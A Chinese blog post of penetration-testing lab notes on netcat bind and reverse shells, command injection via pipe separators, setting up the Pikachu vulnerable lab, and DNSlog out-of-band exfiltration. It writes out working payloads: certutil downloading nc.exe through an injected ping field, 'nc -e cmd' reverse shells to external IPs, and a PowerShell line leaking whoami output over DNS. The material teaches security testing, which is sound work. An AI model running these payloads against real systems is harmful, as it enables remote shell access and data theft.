反弹shell&数据不回显带外查询&pikaqiu靶场搭建

P1 文件上传下载(解决无图形化和解决数据传输)

解决无图形化:

当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口,无法获取图形化界面,因此,我们就需要命令来实现文件的上传和下载。

比如,当我们想上传一个文件到对方的服务器,我们应该想办法用命令让对方执行下载操作,而不可能直接打开对方的服务器的浏览器去下载,因为我们没有获取这样的权限,只能通过黑窗窗输入命令尝试。

  1. 先建一个网站,把nc.exe 上传到网站上,上传后访问一下看能否正常下载

  2. 确认访问网站可下载后,再在棱角社区文件下载模块中根据操作系统选择相应的下载命令

    windows下载:

    centos下载:
  3. 文件下载的作用:
    解决渗透环境中没有图形化界面权限,但需要把安全脚本工具传到对方的服务器
    思路:在自己的服务器上上传安全测试工具脚本或后门脚本,构造下载的IP地址,让对方远程用命令把需要的文件下载到它的服务器上

  4. 实际应用:反弹shell有编程语言反弹、有自带工具反弹的、有安全工具类反弹的
  5. 反弹是干啥用的?为什么要进行反弹?反弹的应用场景
    假设你在网上找到一个漏洞,这个漏洞需要你去执行命令,执行完之后,需要等待你的输入继续向下执行,就像网站你输入命令执行了,但它不会把界面给到你,相当于你的命令会一直卡在那里。这是反弹命令可以解决的:它可以把对方的界面反弹到你这边,你就可以输入命令继续向下执行了
    反弹可以解决数据通讯问题:
    比如:你在网站上一直提交提交,就一直有流量过去,但如果你把权限反弹回来以后,就相当于你在本地执行一样

  6. 正向连接和反向连接
    反弹中一个重要的知识点就是正向连接和反向连接,正向:主动找别人;反向:让别人主动找自己;正向连接和反向连接关键是看以谁为基础
    假设有一台linux和一台Windows的服务器,以Windows服务器为基准,Windows服务器主动连接linux就是正向连接,Linux主动连接Windows服务器是反向连接
    正向连接
    以linux为基准,Linux主动连接Windows服务器是正向连接,Windows服务器主动连接linux就是反向连接。
    实验:正向实验
    linux主动连接Windows服务器
    linux->windows
    //绑定cmd到本地的5566端口
    nc -e cmd -lvvp 5566
    //主动连接目标的5566
    ncat 8.218.177.129 5566
    反向连接
    linux控制windows服务器的cmd
    linux主动连接windows,
    windows服务器需要先下载nc.exe
    cmd要回到nc.exe文件所在的目录才能正常执行
    cmd要回到nc.exe文件所在的目录才能正常执行

    ps:如果使用的是阿里云之类的云服务器,5566访问不通可能是基于不同厂商的网络安全策略导致,需要访问云服务器的后台增加对应的规则。


    nc -e cmd -lvvp 5566
    绑定cmd到本地端口的5566
    服务器执行上述命令后
    linux执行以下命令:
    nc 8.218.177.219 5566


    这样Windows服务器的cmd窗口就反弹到了linux

    Windows服务器输入:
    命令:nc -l -p 5566 -t -e c:\windows\system32\cmd.exe    
    命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
    因为我用的Windows和Linux都是阿里云平台的,因此,需要在阿里云服务器的安全组策略中添加5566端口,两个服务器都要添加,否则端口数据会被防火墙拦截导致连接超时
    如果是虚拟机的话,需要关闭防火墙
  7. 反向连接
    windows控制linux
    //绑定SH到本地的5566端口
    nc -e /bin/sh -lvvp 5566
    //主动连接目标的5566
    nc 172.18.119.236 5566

    linux系统一般都有 NC 的,但是 - e 选项一般都默认不编译NC不使用-e选项反弹shell


  8. 什么时候用正向连接什么时候用反向连接呢?
    打开我的一台Windows虚拟机
    在虚拟机时属于内网的
    而我们aliyun服务器的Linux是属于外网的
    外网找内网的实验
    虚拟机开启监听nc -lvvp 5566
    linux 连接虚拟机的5566端口
    是连不上的
    此时,对于linux而言,Linux正向连接Windows是连不上的
    就要尝试反向连接
    让虚拟机(内网  )主动把cmd给到linux
    虚拟机:nc -e cmd linux的IP 5566
    这就是正向反向连接的应用价值,什么时候用正向连接,什么时候用反向连接,你要根据网络决定
    那么现在,如果是内网(虚拟机)控制linux应该怎么操作呢?
  9. 管道符的使用
    利用管道符可以执行多条命令
    管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)

    Windows->| & || &&

    Linux->; | || & && ``(特有``和;)

    例子:

    ping -c 1 127.0.0.1 ; whoami

    ping -c 1 127.0.0.1 | whoami

    ping -c 1 127.0.0.1 || whoami

    ping -c 1 127.0.0.1 & whoami

    ping -c 1 127.0.0.1 && whoami

    ping -c 1 127.0.0.1 `whoami`

 P2 漏洞靶场搭建-皮卡丘

  1. 安装phpstudy,打开phpstudy网站目录设置,将目录设置为皮卡丘靶场源码的根目录位置,设置完后重启phpstudy,

  2. 设置完后重启phpstudy,打开皮卡丘原版里的inc文件夹,里面的config.inc.php文件,将数据库的密码也改为root,保存后重启phpstudy
  3. 进入浏览器访问靶场的安装页面,即在网站中访问install.php文件,进入后点击安装初始化

    显示如下界面表明皮卡丘靶场已经搭建成功,点击“点击这里”连接即可进入靶场

     

  P3 皮卡丘靶场实战&反弹shell/正向连接/反向连接

  • 防火墙关闭情况下的反弹shell

    第一步:判断操作系统类型


    第二部:判断出是Windows操作系统后需要上传nc

    01  棱角社区查找下载命令



    02  打开皮卡丘靶场下的RCE下的exec “ping”,在右边的框框中输入下载命令点击ping

    127.0.0.1 |certutil.exe -urlcache -split -f http://8.218.177.129:80/nc.exe nc.exe



    03 通过nc进行反弹shell
    正向:
    皮卡丘将自己的cmd绑定到本地的5566端口,linux主动连接皮卡丘服务器的5566端口
    注:8.218.177.129是靶场所在服务器的IP地址


    反向:
    linux监听5566端口,皮卡丘主动给出自己的cmd给到linux的5566端口
    linux:
    nc -lvvp 5566
    pikaqiu靶场:
    127.0.0.1 | c:\\nc.exe 121.40.222.191 5566 -e cmd 
    注:121.40.222.191是我的Linux云服务器的外网IP
  • 防火墙开启情况下的反弹shell

  • 防火墙策略入站规则中阻止5566端口连接

    以linux为基准,linux->windows正向连接不成功 ,windows->linux反向连接成功(原因是防火墙策略入站检测严格而出站检测宽松,入站阻止了5566端口连接)

     防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹
    因为防火墙只允许设置入站规则的端口进行通信
    如果在入站规则中添加允许5566端口连接的话,正向反向的连接情况会是怎样的呢?
    如果在入站规则中允许5566端口访问的话,出站规则中限制5566端口的话,正向连接可以成功反弹,反向连接不能成功反弹

  P4 带外查询

  • 什么是带外查询?带外查询有什么用?

  • 正常情况下在靶场命令框输入whoami的结果是这样的 ,但是如果没有任何结果输出时怎么办呢?这时就需要用到带外查询了!!!

    所谓带外查询就是当输入命令没有正常回显的时候,通过其他方法将命令执行的结果回显出来。

  • 带外查询的应用场景

  • 我想知道靶场的服务器是什么操作类型,这时候在ping框框中输入whoami,但是没有任何结果显示,那我怎么才能知道结果呢?带外查询,通过带外查询能将whoami的结果带出来,显示出来。

  • 通过Windows的powershell理解带外查询

  • 01 访问dnslog.cn

    02  Windows中的PowerShell

     03  dnslog浏览器点击Refresh Record刷新,根据结果“admin”我们知道操作系统是windows

  • pikaqiu靶场带外查询

    127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.jazxdx.dnslog.cn';$z=$x+$y;ping $z
    

    dnslog结果回显

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zkaisen

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值